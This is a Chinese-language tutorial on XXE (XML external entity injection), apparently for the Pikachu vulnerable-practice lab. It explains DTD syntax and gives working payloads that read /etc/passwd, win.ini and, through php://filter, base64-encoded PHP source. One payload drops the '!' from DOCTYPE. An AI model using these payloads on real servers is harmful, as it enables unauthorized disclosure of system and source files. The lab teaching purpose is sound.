XXE -"xml external entity injection"
既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题"
也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。
具体的关于xml实体的介绍,网络上有很多,自己动手先查一下。
现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
以PHP为例,在PHP里面解析xml用的是libxml,其在>=2.9.0的版本中,默认是禁止解析xml外部实体内容的。
第一部分:XML声明部分
<?xml version="1.0"?>
第二部分: 文档类型定义DTD
<!DOCTYPE note[
<!-- 定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]>
第三部分:文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
其中,DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。
1.内部申明DTD格式<!DOCTYPE 根元素 [元素申明]>
2.外部引用DTD格式<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">
3.引用公共DTD格式<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">
外部实体引用Payload
<?xml version="1.0"?>
<DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>
1.PHP中有一个函数 simplexml_load_string()将形式良好的xml字符串转换为SimpleXMLElement对象;
在PHP里面解析xml用的是libxml,其在>=2.9.0的版本中,
默认是禁止解析xml外部实体内容的。
本章提供的案例中,为了模拟漏洞,Pikachu平台手动指定LIBXML_NOENT选项开启了xml外部实体解析。
2.先提交一个正常的xml数据
<?xml version="1.0"?><!DOCTYPE note [
<!ENTITY hacker "test">
]><name>&hacker;</name>
3.如果我们提交下面这样的payload,就能看到服务器上的文件内容
<?xml version="1.0"?><!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///C://Windows//win.ini">
]><x>&f;</x>
4.尝试php伪协议,打印出了base64编码后的xxe.php页面,
<?xml version="1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php"> ]>
<x>&f;</x>